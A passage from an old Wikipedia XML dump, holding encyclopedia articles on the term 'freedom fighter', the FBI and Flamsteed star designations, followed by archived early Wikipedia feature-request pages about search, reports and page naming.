      <text xml:space="preserve">'''Freedom fighter''' is a [[linguistic relativism|relativistic]] [[locality|local]] term for those engaged in [[rebellion]] against an established [[government]] that is held to be oppressive and illegitimate. The terms ''&quot;[[freedom]]&quot;'' and &quot;[[rebellion]]&quot; are often controversial, as often both sides in armed conflict claim to represent the [[populist|popular]] cause of ''&quot;freedom&quot;''. While external intervening parties, even oppressors, almost always claim to be &quot;liberators&quot;, ''''freedom fighters'''' also often become ''oppressors'' in the eyes of civilians.

Though the literal meaning of the words could include ''anyone who fights for the cause of freedom,'' common use is restricted to those who are actively involved in an [[armed forces|armed]] rebellion, rather than those who &quot;fight&quot; for freedom by peaceful [[nonviolence|nonviolent]] means (though they may use the title metaphorically).

Confusion between terrorists and freedom fighters has become a hot topic in today's society. There is no universal definition for &quot;terrorist&quot; and many militant organizations (such as Hamas) take offense to the term and say that they are freedom fighters.

==History==
Historically, people who are self-described &quot;freedom fighters&quot; tend to be called [[assassin]]s, [[rebel|rebels]], or [[terrorism|terrorists]] by their foes. During the [[Cold War]], the term ''''freedom fighter'''' was widely used by the [[United States]] and other [[NATO|Western Bloc]] countries to describe rebels in countries controlled by [[communist state]]s or otherwise under the influence of the [[Soviet Union]], including rebels in [[Hungary]], the [[anti-communist]] [[Contras]] in [[Nicaragua]], [[UNITA]] in [[Angola]] and the multi-factional [[mujahideen]] in [[Afghanistan]].

The term ''freedom fighter'', while indicating favor of some political group, often does not reflect any actual political position of those fighting--central to this is a dispute over the meaning of ''freedom'' itself and whether a group in question can be said to actually fight for the purpose of establishing ''freedom''. This was particularly true in [[Nicaragua]], where the [[United States|US]] government was inclined to a favorable view of the [[Sandinista]] movement until some time after it accumulated power, when it backed the [[Contra]] rebels. If the Sandinistas were fighting for ''freedom'' then why would an oppressive government be established? And were the subsequent [[Contras|Contra]] organizations then fighting against freedom? Of all political labels, ''freedom fighter'' is perhaps the most blunt term for &quot;friend&quot; -- some think that it signals an unwillingness to abandon moral support regardless of methods, an unbreakable alliance between players.

The ambiguity of the term ''freedom'' makes the use of the label ''freedom fighter'' particularly useful for [[propaganda]] purposes. It is relatively simple to show that the &quot;enemy&quot; has done something which violates one of the many possible meanings of the word freedom, which allows the propagandist to appear to take the moral high ground by fighting for the cause of freedom. In addition to this, propagandists commonly use [[virtue word]]s like &quot;[[freedom]]&quot;, &quot;[[social justice]]&quot;, &quot;[[liberation]]&quot;, and &quot;helping the poor&quot;, which tend to evoke positive images in the target audience in order to attach those images and feelings to his cause.

Certain media agencies, notably the [[BBC]] and [[Reuters]], aside from attributed quotes, refuse to use the phrase &quot;terrorist&quot; or &quot;freedom fighter&quot;, or even more descriptive and neutral terms such as &quot;[[militant]]&quot;, &quot;[[guerrilla warfare|guerrilla]]&quot; or &quot;[[assassin]]&quot;, to avoid the political repercussions of the use of such words. The BBC did, however refer to the mainly-Catholic [[Provisional Irish Republican Army]] as terrorists, while members of mainly Protestant armed groups in Northern Ireland were usually referred to as &quot;[[paramilitaries]]&quot; rather than terrorists. [[Al Qaeda]] [[militant]]s are usually referred to as terrorists, especially since [[September 11, 2001]]. The actions of [[Timothy McVeigh]] were also described as terrorism.

Typically, [[Palestinian]] terrorist groups such as [[Hamas]] and [[Palestinian Islamic Jihad]], seen by most as terrorist, are referred to in BBC and [[Reuters]] publications as &quot;[[militant]]&quot;. This apparent &quot;[[neutralist]]&quot; stand is in contrast with its treatment of states, for example, with the BBC's use of the word &quot;[[dictatorship]]&quot; to describe governments of various [[authoritarianism|authoritarian]] or [[totalitarianism|totalitarian]] tendencies, which has the effect of qualifying the merit of a government.

==See also==
*[[Irregular military]]
*[[Assassin]]
*[[Terrorism]]
*[[Doublespeak]]
*[[Freedom Fighters (computer game)]]

==External links==
*[http://social.chass.ncsu.edu/jouvert/v613/sri.htm News Coverage of Freedom Fighters and Rebels]

[[Category:English phrases]]
[[Category:War]]
[[Category:Warriors]]
[[Category:Irregular military]]</text>
    </revision>
  </page>
  <page>
    <title>Federal Bureau of Investigation</title>
    <id>11127</id>
    <revision>
      <id>41945037</id>
      <timestamp>2006-03-02T20:20:37Z</timestamp>
      <contributor>
        <username>Kmf164</username>
        <id>94080</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/71.141.8.48|71.141.8.48]] ([[User talk:71.141.8.48|talk]]) to last version by Gman-cv</comment>
      <text xml:space="preserve">{{redirect|FBI}}

[[Image:FBISeal.png|200px|thumb|Official FBI Seal]]

The '''Federal Bureau of Investigation''' ('''FBI''') is a [[Federal police|Federal criminal investigative]] and intelligence agency which is the principal investigative arm of the [[United States Department of Justice]] (DOJ). Title 28, United States Code (U.S. Code), Section 533, which authorizes the [[Attorney General]] to &quot;appoint officials to detect... crimes against the United States&quot;, and other federal statutes give the FBI the authority and responsibility to investigate specific crimes. At present, the FBI has investigative jurisdiction over violations of more than 200 categories of [[federal crime]]s and thus has the broadest investigative authority of any federal law enforcement agency. The [[FBI Ten Most Wanted Fugitives]] list has been used since [[1949]] to notify the public of wanted fugitives.

==Mission==

The mission of the FBI is to uphold the law through the investigation of violations of federal criminal law; to protect the United States from foreign intelligence and terrorist activities; to provide leadership and [[Police|law enforcement]] assistance to federal, state, local, and international agencies; and to perform these responsibilities in a manner that is responsive to the needs of the public and is faithful to the [[United States Constitution]]. The Bureau's [[motto]] is &quot;Fidelity, Bravery, Integrity.&quot;

Information obtained through an FBI investigation is presented to the appropriate U.S. Attorney or DOJ official, who decides if prosecution or other action is warranted. Top priority has been assigned to three areas: [[counter-terrorism|counterterrorism]], foreign [[counter-intelligence|counterintelligence]], and cyber crime.

==Personnel==
*Special Agents - The number of [[Special agent|Special Agents]] has grown over the years, and as of January 31, 2006 was 12,487 out of a total workforce of 30,306.  Some of these Special Agents are stationed in foreign countries and work in U.S. Embassies as &quot;Legal Attaches&quot;, or as they are known in the FBI: LEGATS. Both new and veteran agents are routinely trained at the [[FBI Academy]] in [[Quantico, Virginia]]. 
*The FBI Police - The FBI also maintains a force of 1,000 uniformed [[Security police]] officers in the FBI Police for protecting the [[J. Edgar Hoover Building]], [[FBI Academy]] at [[MCB Quantico]], the Washington Field Office and the New York Field Office.

==Present mission of the FBI ==
[[Image:J edgar hoover bldg.jpg|225px|thumb|right|[[J. Edgar Hoover Building]], FBI Headquarters]]
As of June [[2002]], the FBI's official top priority is [[counter-terrorism|counterterrorism]].  The [[USA PATRIOT Act]] granted the FBI increased powers, especially in [[wiretap]]ping and monitoring of internet activity.  One of the most controversial provisions of the act is the so-called &quot;sneak and peek&quot; provision, granting the FBI powers to search a house while the residents are away, and not requiring them to notify the residents for several weeks afterwards.  Under the PATRIOT Act's provisions the FBI also resumed inquiring into the [[library]] records of those it suspected of [[terrorism]], something it had supposedly not done since the [[1970s]]. The bureau is also charged with the responsibility of enforcing compliance of the United States Civil Rights Act of 1964 and investigating violations of The Act in addition to prosecuting such violations with the [[United States Department of Justice]] (DOJ).  The FBI also shares concurrent jurisdiction with the [[Drug Enforcement Administration|DEA]] in the enforcement of the [[Controlled Substances Act]] of 1970.

== History of the FBI ==
The FBI originated from a force of Special Agents created on [[July 26]], [[1908]], by Attorney General [[Charles Joseph Bonaparte]] during the presidency of [[Theodore Roosevelt]]. At first it was named the '''Bureau of Investigation''' (BOI) and it did not become the FBI until 1935.

Under [[J. Edgar Hoover]], who became director of the Bureau on [[May 10]], [[1924]], the agency spent much of its energy investigating political activists who were not accused of any crime (e.g., [[Albert Einstein]] as a [[socialist]]).

The FBI Scientific Crime Detection Laboratory (better known as the [[FBI Crime Lab]]) officially opened on [[November 24]], [[1932]]. 

During the 1930s, the agency played a prominent role in apprehending a number of well-known criminals who had conducted kidnappings, robberies and murders throughout the nation.  These included [[John Dillinger]], [[Baby Face Nelson |&quot;Baby Face&quot; Nelson]], [[Ma Barker|Kate &quot;Ma&quot; Barker]], [[Alvin Karpis]] and [[Machine Gun Kelly|George &quot;Machine Gun&quot; Kelly]].  It also played a decisive role in reducing the scope and influence of the [[Ku Klux Klan]]. Through the work of [[Edwin Atherton]], the FBI claimed success in apprehending an entire army of Mexican neo-revolutionaries along the California border in the 1920's.

Beginning with the 1940s and continuing into the 1970s, the agency investigated cases of espionage against the United States and its allies.  Eight [[Nazi]] agents who had planned [[sabotage]] operations against American targets were arrested.

Although Hoover initially doubted the existence of a close-knit [[organized crime]] network in the United States, the bureau later conducted operations against known organized crime syndicates and families, including those headed by [[Sam Giancana]] and [[John Gotti]].

During the 1950s and 1960s, the FBI carried out controversial [[espionage|domestic surveillance]] in an operation called [[Cointelpro]]. It aimed at investigating and disrupting dissident political organizations within the United States, including militant organizations and non-violent movements. [[Martin Luther King, Jr.]] was a frequent target of investigation. The FBI found no evidence of any crime, but attempted to use tapes of King involved in sexual activity for blackmail. In his 1991 memoirs, [[Washington Post]] journalist [[Carl Rowan]] asserted that the FBI had sent at least one anonymous letter to King encouraging him to commit suicide.[http://www.straightdope.com/columns/030502.html]

==Recent controversies==
The Bureau has endured public criticism and internal conflict in the past decade as it attempts both to modernize technologically and to take on a greater [[counter-terrorism]] role. 

*In the [[1990s]], it turned out that the fingerprint unit of the FBI's crime lab had repeatedly done shoddy work. In some cases, the technicians, given evidence that actually cleared a suspect, reported instead that it proved the suspect guilty. Many cases had to be reopened when this pattern of errors was discovered. The FBI Lab is considered to be a leading forensic laboratory, in global terms.

*In [[2000]], the Bureau began the Trilogy project to upgrade its outdated [[Information Technology|IT]] infrastructure. This project, originally scheduled to take three years and cost around $380 million, ended up going far over budget and behind schedule. Efforts to deploy modern computers and networking equipment were generally successful, but attempts to develop new investigation software, outsourced to [[Science Applications International Corporation|SAIC]], were a disaster. [[Virtual Case File]], or VCF, as the software was known, was plagued by poorly defined goals and repeated changes in management. In [[January 2005]], more than two years after the software was originally planned to be completed, the Bureau officially abandoned the project. At least $100 million (and much more by some estimates) was spent on the project, which was never operational. The Bureau has been forced to continue using its decaded old Automated Case Support system, which is considered to be woefully inadequate by [[Information Technology|IT]] experts. In [[March 2005]] the Bureau announced it is beginning a new, more ambitious software project code-named Sentinel, expected to be completed by 2009.

*In [[February 2001]], [[Robert Hanssen]] was caught selling information to the Russians. It was later learned that Hanssen, who had reached a high position within the Bureau, had been selling intelligence since as early as [[1979]]. He pleaded guilty to [[treason]] and received a [[life sentence]] in [[2002]], but the incident led many to question the security practices employed by the Bureau.

*The [[9/11 Commission]], in its final report in July 22, 2004, stated that the FBI and [[CIA]] were both partially to blame for not pursuing intelligence reports which could have prevented the [[September 11, 2001]] attacks. In its most damning assessment, the report concluded that the country had &quot;not been well served&quot; by either agency and listed numerous recommendations for changes within the Bureau. While the Bureau has acceded to most of the recommendations, including oversight by the new [[Director of National Intelligence]], some former members of the 9/11 Commission publicly criticized the Bureau in [[October 2005]], claiming it was resisting any meaningful changes.

==BOI and FBI directors==
===Bureau of Investigation (BOI) Directors (1908&amp;ndash;35)===

* [[Stanley Finch]] (1908&amp;ndash;12)
* [[A. Bruce Bielaski]] (1912&amp;ndash;19)
* ''Acting director:'' [[William E. Allen]] (1919)
* [[William J. Flynn]] (1919&amp;ndash;21)
* [[William J. Burns]] (1921&amp;ndash;24)
* [[J. Edgar Hoover]] (1924&amp;ndash;72)

===Federal Bureau of Investigation (FBI) Directors (1936&amp;ndash;present)===

On [[July 1]], [[1932]], the Bureau was renamed the United States Bureau of Investigation. One year later on [[July 1]], [[1933]], it was linked with the [[Bureau of Prohibition]] and became known as the '''Division of Investigation'''. Finally, in [[1935]], the bureau was renamed the Federal Bureau of Investigation (FBI). After J. Edgar Hoover's death, the FBI imposed a policy limiting the tenure of future FBI directors to a maximum of ten years. 

The FBI Directors from this period on are:
* [[J. Edgar Hoover]] (1924&amp;ndash;72)
* ''Acting director:'' [[Clyde Tolson]] (May 2&amp;ndash;3, 1972)
* ''Acting director:'' [[L. Patrick Gray]] (1972&amp;ndash;3)
* ''Acting director:'' [[William Ruckelshaus|William D. Ruckelshaus]] (1973)
* [[Clarence M. Kelley]] (1973&amp;ndash;78)
* ''Acting director:'' [[James B. Adams]] (1978)
* [[William H. Webster]] (1978&amp;ndash;87) 
* ''Acting Director:'' [[John Otto]] (1987)
* [[William S. Sessions]] (1987&amp;ndash;93)
* ''Acting Director:'' [[Floyd I. Clarke]] (1993)
* [[Louis Freeh|Louis J. Freeh]] (1993&amp;ndash;2001)
* ''Acting Director:'' [[Thomas J. Pickard]] (2001)
* [[Robert Mueller|Robert S. Mueller III]] (2001&amp;ndash;present)

==Publications of the FBI==
* ''[[Uniform Crime Reports]]''

==Trivia==
*In [[2009 Lost Memories]], the JBI (Japanese Bureau of Investigation) was heavily modeled on the American FBI, retaining its structure.

== Further reading ==
=== Books ===
*David Burnham, ''Above the Law: Secret Deals, Political Fixes, and Other Misadventures of the U.S. Department of Justice'', Scribner, ISBN 0-684-80699-1, LoC KF5107.B87 1996
*[[Ward Churchill]] and Jim Vander Wall, ''Agents of Repression, Updated Edition, The FBI's Secret Wars Against the [[Black Panther Party]] and the [[American Indian Movement]]'', Boston: Southend Press 2002 
*Frank J. Donner, ''The Age of [[Surveillance]]: The Aims and Methods of America's Political Intelligence System'', Vintage, ISBN 0-194-74771-2, LoC JK468.I6D65 1981
*[[Ronald Kessler]], ''The FBI'', Pocket Books, 1993, ISBN 0-671-78658-X.
*Ronald Kessler, ''The Bureau: The Secret History of the FBI'', St. Martin's Press 2002 ISBN 0-312-30402-1
*Athan G. Theohris, ''The FBI and American Democracy: A Brief Critical History'', University Press of Kansas 2004
*Watters and Gillers (eds), ''Investigating the FBI'', Ballentine, 1973, ISBN 345-23831-1-195
=== World Wide Web sites ===
* [http://www.zpub.com/notes/znote-fbi.html The FBI ...Past, Present &amp; Future]
* [http://historyisaweapon.com/defcon1/zinnfbi.html Federal Bureau of Intimidation by Howard Zinn]
* [http://www.pbs.org/wgbh/pages/frontline/shows/sleeper/fbi/gamal.html &quot;Fixing the FBI: The Story of Gamal Abdel-Hafiz: Former Agent in the FBI's International Terrorism Squad&quot;, by Marlena Telvick PBS FRONTLINE October 16, 2003.]

===Related resources===
*[[Carnivore (FBI)|Carnivore]]
*[[COINTELPRO]]
*[[Critical Incident Response Group]]
*[[FBI Counterterrorism Division]]
*[[FBI Most Wanted Terrorists]]
*[[FBI Ten Most Wanted Fugitives]]
*[[Fred Hampton]]
*[[Hostage Rescue Team]]
*[[Infragard]] Alliance Program
*[[Joseph L. Gormley]]
*[[List of FBI Field Offices]]
*[[National Security Service (United States)|National Security Service]]
*[[Special Intelligence Service]] (SIS)
*[[State Bureau of Investigation]]
*[[THERMCON]]
*[[W. Mark Felt]]

==See also==
* [[RCMP]]
* [[People's Armed Police|PAP-China]]
* [[Scotland Yard]]
* [[Federal Agency of Investigation (Mexico)]]

==External links==
{{commons|Federal Bureau of Investigation}}
* [http://www.fbi.gov Official FBI website]
** [http://www.fbi.gov/mostwant/topten/fugitives/fugitives.htm Official FBI ten most wanted list]
** [http://www.fbi.gov/mostwant/topten/tenfaq.htm Frequently Asked Questions] This has been used as a source.
** [http://www.fbi.gov/mostwant/topten/topten.pdf History of the Top Ten List]
** [http://www.fbi.gov/fbihistory.htm The history of FBI]
** [http://foia.fbi.gov/ FBI Disclosures under Freedom of Information Act]
** [http://www.fbijobs.gov/ Official FBI recruiting]
* [http://www.fas.org/irp/agency/doj/fbi/index.html Federal Bureau of Investigation] at fas.org 


[[Category:Federal Bureau of Investigation| ]]

[[ar:مكتب التحقيقات الفيدرالي]]
[[bg:Федерално бюро за разследване]]
[[zh-min-nan:Liân-pang Tiāu-châ-kio̍k]]
[[ca:FBI]]
[[da:FBI]]
[[de:FBI]]
[[et:FBI]]
[[el:FBI]]
[[es:FBI]]
[[eo:Federal Bureau of Investigation]]
[[fr:Federal Bureau of Investigation]]
[[ko:미국 연방 수사국]]
[[id:FBI]]
[[it:Federal Bureau of Investigation]]
[[he:FBI]]
[[hu:Federal Bureau of Investigation]]
[[nl:Federal Bureau of Investigation]]
[[ja:連邦捜査局]]
[[no:Federal Bureau of Investigation]]
[[pl:FBI]]
[[pt:Federal Bureau of Investigation]]
[[ru:Федеральное бюро расследований]]
[[sl:Zvezni preiskovalni urad]]
[[fi:FBI]]
[[sv:FBI]]
[[vi:FBI]]
[[zh:联邦调查局]]</text>
    </revision>
  </page>
  <page>
    <title>Flamsteed designation</title>
    <id>11129</id>
    <revision>
      <id>36310748</id>
      <timestamp>2006-01-23T03:49:08Z</timestamp>
      <contributor>
        <ip>65.25.218.174</ip>
      </contributor>
      <text xml:space="preserve">'''Flamsteed designations''' for [[star|stars]] are similar to [[Bayer designation|Bayer designations]], except that they use numbers instead of Greek letters. Each star is assigned a number and the Latin [[genitive]] of the [[constellation]] it lies in (see [[List of constellations]] for a list of constellations and the genitive forms of their names).

The numbers were originally assigned in order of increasing [[right ascension]] within each [[constellation]], but due to the effects of [[precession]] they are now slightly out of order in some places. This method of designating stars first appeared in a preliminary version of [[John Flamsteed]]'s ''Historia coelestis Britannica'' which was published by [[Edmond Halley]] and [[Isaac Newton]] in [[1712]] without Flamsteed's approval. The final version of Flamsteed's catalogue published in [[1725]] after his death omitted any number designations altogether.

The designations gained popularity throughout the eighteenth century, and are now commonly used when no Bayer designation exists; however, where a Bayer designation does exist for a star it is used almost exclusively and the Flamsteed designation is almost never used. Examples of well-known stars which are usually referred to by their Flamsteed numbers include [[51 Pegasi]] (see [[Extrasolar planet]]), and [[61 Cygni]] (see [[Parallax]]).

There are examples of stars bearing Flamsteed designations for constellations in which they do not lie, just as there are for Bayer designations, because of the compromises that had to be made when the modern constellation boundaries were drawn up. It should also be noted that Flamsteed's catalogue covered only the stars visible from [[Great Britain]], and therefore stars of the far southern constellations have no Flamsteed numbers. (Two exceptions are the globular cluster [[47 Tucanae]] and the nearby star [[82 Eridani]].)

Some entries in Flamsteed's catalog are errors: for instance, Flamsteed observed [[Uranus (planet)|Uranus]] in [[1690]] but did not recognized it as a [[planet]] and it entered his catalog as &quot;34 Tauri&quot;.

===See also===
* [[star designation]]
* [[:Category:Flamsteed objects|Flamsteed objects]]
* [[List of constellations]]

[[Category:Astronomical catalogues]]

[[ca:Nomenclatura de Flamsteed]]
[[de:Flamsteed-Bezeichnung]]
[[fr:Désignation de Flamsteed]]
[[it:Nomenclatura di Flamsteed]]
[[sk:Flamsteedovo označenie]]
[[fi:Flamsteedin designaatio]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Phase II feature requests/Top priorities</title>
    <id>11130</id>
    <revision>
      <id>19583657</id>
      <timestamp>2005-07-25T17:02:03Z</timestamp>
      <contributor>
        <username>Jnc</username>
        <id>18024</id>
      </contributor>
      <minor />
      <comment>Page now retrieved to Wikipedia:</comment>
      <text xml:space="preserve">'''This page is obsolete!'''
It is an archive of old feature requests that were still active on 2002 July 20, when we moved from Phase II to Phase III of the software.
Many requests were implemented then, while others became obsolete due to being rejected by the community.
'''See [[Wikipedia:Feature requests]] for current requests.''
'
----

&lt;h3&gt;Top priorities: really important features we still don't have&lt;/h3&gt;

==== Search ====

* A 'power search' page. For example, a search for 'demon' will list all pages that use the word 'demonstrate' (case-insensitive substring match?). That's okay now, but as the wikipedia grows the lists of false matches will get longer and more searches will be affected by it. A power search would provide options for boolean expressions, exact-phrase, case-sensitivity, etc. --[[User:Atlas_2091]]
** I second that motion. Attempts to outsource 
**:''See also :'' [[Feature requests]]&lt;nowiki&gt;OddlyCapitalized&lt;/nowiki&gt; links would be helped greatly by a case-sensitive search, so one does not, for instance, have to search through 149 pages with the word &quot;liberal&quot; looking for the ones that are printed 
**:''See also :'' [[Feature requests]]&lt;nowiki&gt;LiberaL&lt;/nowiki&gt;. Of course, the point is moot if 0.92 will include tools to rename pages (and references to them) automatically. --KQ
** A regexp-like search option might be handy...
** I would like the search to return those pages more prominently whose title matches the search string. First give me the title matches, then the article body matches.
** Searches currently turn up only the exact phrase entered, which should probably be one option among many. For an example why, search for 
**:''See also :'' [[Feature requests]]&lt;nowiki&gt;&quot;John A. MacDonald,&quot; &quot;John A MacDonald,&quot; &quot;John MacDonald,&quot; &quot;John D Macdonald,&quot; and &quot;John D. MacDonald.&quot;&lt;/nowiki&gt;

* Since I have forgotten what happened in the far past (more than the time that shows up in recent changes) I want other ways to look for articles:

: Articles sorted by inverse date (show oldest first) - just so I can do a sanity check on things that might have been overlooked.

: Articles sorted by number of revisions (lowest first} - If it never got revised, it probably needs work unless Larry wrote it. :) -- [[User:mike dill]]

==== Interface ====

* Eventually, a feature to find non-linked mentions of pages could also be useful. --CliffordAdams

* Anchors (HTML standard) to jump around in a page! Often the text shouldn´t be split but retain its flow, and yet have some navigation and structure, e.g. &quot;contents&quot; 


==== Report features and automation ====

* Similar to the [[What Google Likes]] page and the request above: a report for pages visited most often (aside from, say, the [[Recent Changes]] and HomePage pages and other usual suspects). (So busybodies like me can know frequently-visited areas possibly wanting improvement.)

* Generate and place on an automatically-generated R/O page a list of the most popular Wikipedia searches. This would encourage people to write articles specifically on those topics that people search for. --[[User:Larry Sanger]]
** This would probably be easiest to do outside of the wiki script by processing the server's logs.

* A script to autogenerate the [[What Google Likes]] page once a day or so

* There are several pages that have comments like &quot;as of (date) we have NNN pages / MMM comma pages...&quot;. This information becomes stale pretty quickly. Would it be practical to provide a [[Wikipedia Statistics]] page that could be updated fairly often with things like page counts, web server stats, user stats, etc.? &lt;small&gt;--[[User:hornlo|loh]] (2001-06-21)&lt;/small&gt;

==== Naming conventions ====

* Use of (at least) Latin1 characters in links and titles of pages. I can see this vexing the Anglo-American crowd, but it's truly annoying to spell your name in a faulty way, and even more so to spell historical persons wrong.
** This is already a feature of UseMod 0.92, which is currently in use by the international Wikipedias. When we get around to updating the software here as well, that will come along. --LDC

==== Wikipedia distribution etc. ====

* Since the text within Wikipedia is covered by the GNU FDL there is a requirement that it be available in the most &quot;transparent&quot; form. I would suggest that since the publically viewable form of is HTML but the underlying dataset is stored in the wiki source form it is currently not available in a transparent form. I guess that it is possible to gather this data by using the &quot;edit&quot; button of all the documents and culling the information from the text field, but again this is not very transparent. Even if you do this, you still have lost the version information which could be argued to be a fundamental part of the data. Is there a plan to provide a download format from which a new copy of the data in wikipedia can be generated? -[[User:Phillip2]]
**At present, no plan, but we would like to do this, of course.
** I also think this would be a nice service. -- BryceHarrington

----

= Solved =
* Missed searches - user searches that returned no results (from [[Wikipedia-L]])
* Articles sorted by size - so i know where the articles that need work are.

* Could we move the search box higher up the screen? It is hard to find right now.
** I second that, and propose that its placement be made a user preference: top, bottom, or both. --Gimbo

* Each Wikipedia page could and should have a Talk subpage why not making it default for every new page. [[User:Kpjas]]
** Seconded. I like the idea of making a default [[talk:Feature_requests|/Talk]] on each (non-sub)page.

* Clicking the name of the article at the top of the page searches for occurrences of the page title on other pages, but it would be possibly more useful for that to point to a list of all the pages that ''link to'' the page in question. There doesn't seem to be any way to do that at present. --[[User:Larry Sanger]]
** This is likely to be added eventually, and may even become the default behavior of the page-title link. This was not much of a problem with the old WikiName links because those titles were automatically links. Now with &quot;free links&quot; there may be several pages that use a page title but do not link to it. --CliffordAdams

* We need a way to let ordinary folks ''upload'' files to the Wikipedia server--perhaps the uploads would first have to be hand-processed, to make sure they don't carry viruses and aren't too large. But eventually, it seems to me we're going to need something like this. (Perhaps it wouldn't have to be closely integrated with UseModWiki software, though. We could just link to a Wikipedia upload page, which would run our own unique software.) --[[User:LMS]]
** I'm quite surprised you don't have a file uploader, actually. I can send you the one used in the WorldForge website: http://www.worldforge.org/website/tools/upload_a_file. I'd be willing to collaborate on adapting this for Wikipedia if there is interest (I will need a similar tool for work soon). -- BryceHarrington
** TWiki has the notion of adding attachements to a page that can be referenced within that page. IMHO, something similar would be very useful for Wikipedia.
** Uploading images would be great to build an illustrated encyclopedia :-)
** Uploading files is only half of the problem.  We need a way to refer to those files from within articles, that is a easy to use as [[Wikipedia:Free Links|Free Links]].  Right now they are fully-qualified URLs, which is a pain to type and also is non-transportable.  (Renaming uploaded files would be handy also.)  --[[User:Alan Millar]]

:''See also :'' [[Wikipedia:Phase II feature requests]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Phase II feature requests/Report features</title>
    <id>11131</id>
    <revision>
      <id>15908896</id>
      <timestamp>2004-08-09T22:30:30Z</timestamp>
      <contributor>
        <username>Texture</username>
        <id>31280</id>
      </contributor>
      <minor />
      <comment>user</comment>
      <text xml:space="preserve">'''This page is obsolete!'''
It is an archive of old feature requests that were still active on 2002 July 20, when we moved from Phase II to Phase III of the software.
Many requests were implemented then, while others became obsolete due to being rejected by the community.
'''See [[Wikipedia:Feature requests]] for current requests.'''
----

&lt;h3&gt;Report features&lt;/h3&gt;

* Automatically-generated NewTopics page
** Still considering this, but not for version 0.92. --CliffordAdams

* Count and publicly display (somewhere) two or three different numbers of Wikipedia pages that are longer than various particulars lengths (to give a more realistic idea of how many actual pages are on the wiki, as opposed to redirection pages, tiny stubs, etc.).
** A good idea. The only quibble is that it requires opening every page to generate the report, but it shouldn't take any longer than the current search function.
** If wikipedia articles are stored in flat files, you could just approximate the length based on the file size, right?

* How's about an automatically generated Wikipedia Contributors page that lists contributors and the number of pages they created or changed? --SoniC
** Unfortunately, not all contributors use a username or have a single login. Also, not all of the requested information is kept permanently. --CliffordAdams

* It would be great to have a feature that would identify all orphaned pages. There's a small but growing problem of our having many useful pages that are not linked-to or underlinked-to. It would be great if we could list all pages to which there are no links, or only one link. --[[User:Larry Sanger]]

* I would like a page that is a top list of the most frequently linked-to non-existent page, more or less the opposite. [[User:Linus Tolke]]

* How about a feature that lists all places where the current page is linked from?

* Provide a [[batch job]] that searches for and lists all links along with the page the link is contained in so that we can look for duplicate/slightly different versions of the same link and fix them. Please make this a weekly batch job so that it does not take too much time.

* Is it possible to invent something to sort lists alphabetically? Take a look at pages like [[Actresses]] and you know why this would be helpful...

* Plagiarism-bot. A bot that goes through Wikipedia pages on a regular basis, does Google searches, and flags pages that it suspects might be plagiarized.

* Spell check [[batch job]] for newly created articles once a week with a link at the end of the article to the incorrectly spelled words. Even better would be one that worked as the &quot;preview&quot; button, before saving, and that marked somehow the suspicious words.

* Let's have contributors of a given Wikipedia page listed either in the header or in the footer. IP's are skipped of course and if there are more than, say, 10 contributors make a link to a special subpage &amp;quot;Contributors&amp;quot;.[[User:Kpjas]]
** If people wish to be listed, can't they simply include their name at the end of the text?

* Provide a way to search for all the changes made by one user in Wikipedia. For example, if I contributed to numerous pages over a long period of time, then 2 years later, I would need a way to find out whether someone else added to the subject I once touched.


:''See also :'' [[Wikipedia:Phase II feature requests]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Phase II feature requests/Naming conventions</title>
    <id>11132</id>
    <revision>
      <id>19583382</id>
      <timestamp>2005-07-25T16:57:25Z</timestamp>
      <contributor>
        <username>Jnc</username>
        <id>18024</id>
      </contributor>
      <minor />
      <comment>Page now retrieved to Wikipedia:</comment>
      <text xml:space="preserve">'''This page is obsolete!'''
It is an archive of old feature requests that were still active on 2002 July 20, when we moved from Phase II to Phase III of the software.
Many requests were implemented then, while others became obsolete due to being rejected by the community.
'''See [[Wikipedia:Feature requests]] for current requests.'''
----

&lt;h3&gt;Naming conventions (this is all done, but not yet implemented on Wikipedia)&lt;/h3&gt; 

* The wiki software could be written so that, for example, if I write &lt;code&gt;[[andy jewell]]&lt;/code&gt;, &lt;code&gt;[[Andy jewell]]&lt;/code&gt;, &lt;code&gt;[[andy Jewell]]&lt;/code&gt;, or &lt;code&gt;[[Andy Jewell]]&lt;/code&gt;, the page linked to will always be &lt;code&gt;Andy_Jewell&lt;/code&gt;. In that case, one would be able to capitalize or not in the text of wiki articles at one's pleasure, and only the titles of articles would look strange (in some cases, e.g., &lt;code&gt;Ich_Bin_Ein_Berliner&lt;/code&gt;). But that situation would be preferable to the current situation, in which some people are capitalizing second and third words of article titles, when, in referring to the subject of the article, one doesn't ordinarily capitalize those words. (For discussion, see [[naming conventions]].) -- [[User:Larry Sanger]]
** This has been done in version 0.92. The canonical form of a page will have all words capitalized, and links can have arbitrary words capitalized. This will be a little strange sometimes, but it seems to be the best solution for now.
** Ooh, that sounds awful. I hope that's not what'd going to happen, since it violates the [[naming conventions]]. --[[User:The Cunctator]]

* Now that we have [[Wikipedia:Free Links|Free Links]], can we have the canonization software allow parentheses, so we can use titles with short glosses rather than awkward compounds, e.g., [[Nirvana (musical group)]] rather than [[NirvanaBand]]? The downside of this is a little more typing to make a link; the upside is that we get to have titles in plain English. --[[User:Lee Daniel Crocker]] and [[User:Larry Sanger]] (see [[Wikipedia:Disambiguation]])
** This is in version 0.92. I was surprised to see that parentheses ''are'' allowed in URIs/URLs according to RFC 2396, so it shouldn't be hard to add them. --CliffordAdams

* There's a good reason why we can't use single quotes in titles, right? It sure would be handy to have the use of them, though.
** After more thought, I've given in on this request also. Single quotes are allowed in 0.92. Please don't ask for any more punctuation, however, or I may scream. :-) --CliffordAdams
*** How about backticks and semicolons? (joke!)

*Can we please turn off automatic subpages? I'm not suggesting we ''disallow'' subpages, only that the software not assume that anything following a slash, even if it's not in brackets, should be a subpage: currently aspirin/Tylenol; Marat/Sade; and Face/Off all want to make a subpage of [[Feature requests]]. CSCE/OSCE did want to make one on one of the Hungary pages, but for some reason doesn't do it here. I know the &lt;nowiki&gt; &lt; [[Feature_requests/nowiki|/nowiki]] &gt; trick; I just think links should be links when in brackets and not otherwise. --KQ&lt;/nowiki&gt;</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Phase II feature requests/Cookies, logins, and privacy</title>
    <id>11133</id>
    <revision>
      <id>15908898</id>
      <timestamp>2004-09-19T07:31:41Z</timestamp>
      <contributor>
        <username>Guanabot</username>
        <id>82928</id>
      </contributor>
      <minor />
